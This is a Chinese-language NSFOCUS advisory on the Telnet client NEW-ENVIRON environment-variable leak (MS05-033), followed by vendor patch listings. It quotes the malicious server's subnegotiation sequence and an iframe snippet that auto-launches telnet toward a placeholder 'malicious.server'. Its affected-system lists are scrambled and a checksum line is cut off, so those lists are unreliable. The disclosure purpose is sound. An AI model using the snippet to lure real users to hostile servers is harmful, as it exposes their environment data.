首页 -> 安全研究
安全研究
安全漏洞
多家厂商Telnet客户端环境变量信息泄露漏洞（MS05-033）
发布日期：2005-06-15
更新日期：2005-06-15
受影响系统：
Microsoft Windows XP SP2不受影响系统：
Microsoft Windows XP SP1
Microsoft Windows Services for UNIX 3.5
Microsoft Windows Services for UNIX 3.0
Microsoft Windows Services for UNIX 2.2
RedHat Linux Advanced Workstation 2.1
Sun Solaris 9.0_x86 Update 2
Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.8
Sun Solaris 2.7 sparc
Sun Solaris 2.7
Sun Solaris 10.0
Sun SunOS 5.9_x86
Sun SunOS 5.9
Sun SunOS 5.8_x86
Sun SunOS 5.8
Sun SunOS 5.7_x86
Sun SunOS 5.7
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux WS 2.1
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux ES 3
RedHat Enterprise Linux ES 2.1
RedHat Enterprise Linux Desktop 4
RedHat Enterprise Linux AS 4
RedHat Enterprise Linux AS 3
RedHat Enterprise Linux AS 2.1
RedHat Desktop 3.0
Sun SEAM 1.0.2
Sun SEAM 1.0.1
Sun SEAM 1.0
MIT Kerberos 5 1.3.6
Microsoft Windows ME描述：
Microsoft Windows 98se
Microsoft Windows 98
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
BUGTRAQ ID: 13940
CVE(CAN) ID: CVE-2005-1205,CVE-2005-0488
TELNET协议允许虚拟网络终端通过Internet进行连接。
多家厂商的Telnet客户端存在设计错误，可能允许远程攻击者获得受攻击系统的敏感信息。
具体的说，Telnet客户端在处理NEW-ENVIRON子协商选项时会触发这个漏洞，恶意的服务器可以向已连接的客户端发送以下Telnet子协商选项：
SB NEW-ENVIRON SEND ENV_USERVAR <name of environment variable> SE
然后有漏洞的客户端就会发回环境变量的内容，这其中可能包含有敏感信息。
如果要利用这个漏洞，攻击者必须诱骗用户连接到恶意的服务器。可能通过网页自动启动telnet命令，如：
<html><body>
<iframe src='telnet://malicious.server/'>
</body>
一旦打开了这个网页，就会自动启动telnet客户端并试图连接到主机“malicious.server”。
<*来源：Gaël Delalleau （gael.delalleau+moz@m4x.org）
iDEFENSE
链接：http://www.idefense.com/application/poi/display?id=260&type=vulnerabilities
http://www.microsoft.com/technet/security/Bulletin/MS05-033.mspx
http://www.us-cert.gov/cas/techalerts/TA05-165A.html
http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101671-1
http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101665-1
http://lwn.net/Alerts/139795/?format=printable
*>
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 对于Windows平台，注销默认的Telnet客户端。
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS05-033）以及相应补丁:
MS05-033：Vulnerability in Telnet Client Could Allow Information Disclosure (896428)
链接：http://www.microsoft.com/technet/security/Bulletin/MS05-033.mspx
RedHat
------
RedHat已经为此发布了一个安全公告（RHSA-2005-504-00）以及相应补丁:
RHSA-2005-504-00：Moderate: telnet security update
链接：http://lwn.net/Alerts/139795/?format=printable
补丁下载：
Red Hat Enterprise Linux AS (Advanced Server) version 2.1:
SRPMS:
ftp://updates.redhat.com/enterprise/2.1AS/en/os/SRPMS/tel...
29916c3c5d489abe67b924e5632eb181 telnet-0.17-20.EL2.4.src.rpm
i386:
c60a0c2b5f95fce95ca50bff53026acf telnet-0.17-20.EL2.4.i386.rpm
a058fc85f4236cb0c636159aa7d633ce telnet-server-0.17-20.EL2.4.i386.rpm
ia64:
5b47dc975fa30ec5cd2ca87688d88a75 telnet-0.17-20.EL2.4.ia64.rpm
dfcb49651938529dc80948e6b2e590ac telnet-server-0.17-20.EL2.4.ia64.rpm
Red Hat Linux Advanced Workstation 2.1:
SRPMS:
ftp://updates.redhat.com/enterprise/2.1AW/en/os/SRPMS/tel...
29916c3c5d489abe67b924e5632eb181 telnet-0.17-20.EL2.4.src.rpm
ia64:
5b47dc975fa30ec5cd2ca87688d88a75 telnet-0.17-20.EL2.4.ia64.rpm
dfcb49651938529dc80948e6b2e590ac telnet-server-0.17-20.EL2.4.ia64.rpm
Red Hat Enterprise Linux ES version 2.1:
SRPMS:
ftp://updates.redhat.com/enterprise/2.1ES/en/os/SRPMS/tel...
29916c3c5d489abe67b924e5632eb181 telnet-0.17-20.EL2.4.src.rpm
i386:
c60a0c2b5f95fce95ca50bff53026acf telnet-0.17-20.EL2.4.i386.rpm
a058fc85f4236cb0c636159aa7d633ce telnet-server-0.17-20.EL2.4.i386.rpm
Red Hat Enterprise Linux WS version 2.1:
SRPMS:
ftp://updates.redhat.com/enterprise/2.1WS/en/os/SRPMS/tel...
29916c3c5d489abe67b924e5632eb181 telnet-0.17-20.EL2.4.src.rpm
i386:
c60a0c2b5f95fce95ca50bff53026acf telnet-0.17-20.EL2.4.i386.rpm
a058fc85f4236cb0c636159aa7d633ce telnet-server-0.17-20.EL2.4.i386.rpm
Red Hat Enterprise Linux AS version 3:
SRPMS:
ftp://updates.redhat.com/enterprise/3AS/en/os/SRPMS/telne...
683f3a6fae5f0b9b43249390527a79cc telnet-0.17-26.EL3.3.src.rpm
i386:
cda1f619d2f864c113e068e616c65530 telnet-0.17-26.EL3.3.i386.rpm
f40313804ebecab1cf57b4531af1e5e7 telnet-server-0.17-26.EL3.3.i386.rpm
ia64:
9f3533a862605330846e18d41705ed74 telnet-0.17-26.EL3.3.ia64.rpm
3cc79bf807d6c0ef2c88be4a9b11797f telnet-server-0.17-26.EL3.3.ia64.rpm
ppc:
1f8614267bf84b13cafdae5c2f71efdf telnet-0.17-26.EL3.3.ppc.rpm
71a2ff5505d6b3c3ad73322e4f6d7d12 telnet-server-0.17-26.EL3.3.ppc.rpm
s390:
041ae907bd1b00bcd556d4599c330334 telnet-0.17-26.EL3.3.s390.rpm
22d56448d6f29cfdbf89aff0c04f994e telnet-server-0.17-26.EL3.3.s390.rpm
s390x:
4a75669c15e077bde8d67fef617bd3e7 telnet-0.17-26.EL3.3.s390x.rpm
bcf68468a636a170d6f9897d5b4693b4 telnet-server-0.17-26.EL3.3.s390x.rpm
x86_64:
83d8e20716ce1d6d98600fe29195713d telnet-0.17-26.EL3.3.x86_64.rpm
560945441fdcefa6ceedb38ddf2f8869 telnet-server-0.17-26.EL3.3.x86_64.rpm
Red Hat Desktop version 3:
SRPMS:
ftp://updates.redhat.com/enterprise/3desktop/en/os/SRPMS/...
683f3a6fae5f0b9b43249390527a79cc telnet-0.17-26.EL3.3.src.rpm
i386:
cda1f619d2f864c113e068e616c65530 telnet-0.17-26.EL3.3.i386.rpm
f40313804ebecab1cf57b4531af1e5e7 telnet-server-0.17-26.EL3.3.i386.rpm
x86_64:
83d8e20716ce1d6d98600fe29195713d telnet-0.17-26.EL3.3.x86_64.rpm
560945441fdcefa6ceedb38ddf2f8869 telnet-server-0.17-26.EL3.3.x86_64.rpm
Red Hat Enterprise Linux ES version 3:
SRPMS:
ftp://updates.redhat.com/enterprise/3ES/en/os/SRPMS/telne...
683f3a6fae5f0b9b43249390527a79cc telnet-0.17-26.EL3.3.src.rpm
i386:
cda1f619d2f864c113e068e616c65530 telnet-0.17-26.EL3.3.i386.rpm
f40313804ebecab1cf57b4531af1e5e7 telnet-server-0.17-26.EL3.3.i386.rpm
ia64:
9f3533a862605330846e18d41705ed74 telnet-0.17-26.EL3.3.ia64.rpm
3cc79bf807d6c0ef2c88be4a9b11797f telnet-server-0.17-26.EL3.3.ia64.rpm
x86_64:
83d8e20716ce1d6d98600fe29195713d telnet-0.17-26.EL3.3.x86_64.rpm
560945441fdcefa6ceedb38ddf2f8869 telnet-server-0.17-26.EL3.3.x86_64.rpm
Red Hat Enterprise Linux WS version 3:
SRPMS:
ftp://updates.redhat.com/enterprise/3WS/en/os/SRPMS/telne...
683f3a6fae5f0b9b43249390527a79cc telnet-0.17-26.EL3.3.src.rpm
i386:
cda1f619d2f864c113e068e616c65530 telnet-0.17-26.EL3.3.i386.rpm
f40313804ebecab1cf57b4531af1e5e7 telnet-server-0.17-26.EL3.3.i386.rpm
ia64:
9f3533a862605330846e18d41705ed74 telnet-0.17-26.EL3.3.ia64.rpm
3cc79bf807d6c0ef2c88be4a9b11797f telnet-server-0.17-26.EL3.3.ia64.rpm
x86_64:
83d8e20716ce1d6d98600fe29195713d telnet-0.17-26.EL3.3.x86_64.rpm
560945441fdcefa6ceedb38ddf2f8869 telnet-server-0.17-26.EL3.3.x86_64.rpm
Red Hat Enterprise Linux AS version 4:
SRPMS:
ftp://updates.redhat.com/enterprise/4AS/en/os/SRPMS/telne...
1afaad8fd9a0ca90f633f8b3d92dcac9 telnet-0.17-31.EL4.3.src.rpm
i386:
f7e6d78d44ea95b7354b153299917a48 telnet-0.17-31.EL4.3.i386.rpm
d8a97db3761f4c061abe9d33a6a55957 telnet-server-0.17-31.EL4.3.i386.rpm
ia64:
757b16c60d7a14c79e4db0da16f54611 telnet-0.17-31.EL4.3.ia64.rpm
1a61e1b55a96709364e4212c64004708 telnet-server-0.17-31.EL4.3.ia64.rpm
ppc:
ab9af8408934a5c90732752c237fb534 telnet-0.17-31.EL4.3.ppc.rpm
079055dcc0cb9a6ab3a8bbcca0c1d208 telnet-server-0.17-31.EL4.3.ppc.rpm
s390:
3498586b518d408a50b71c6c2f9f88c6 telnet-0.17-31.EL4.3.s390.rpm
3cb3275401f0aac56
可使用下列命令安装补丁：
rpm -Fvh [文件名]
浏览次数：4903
严重程度：0（网友投票）
绿盟科技给您安全的保障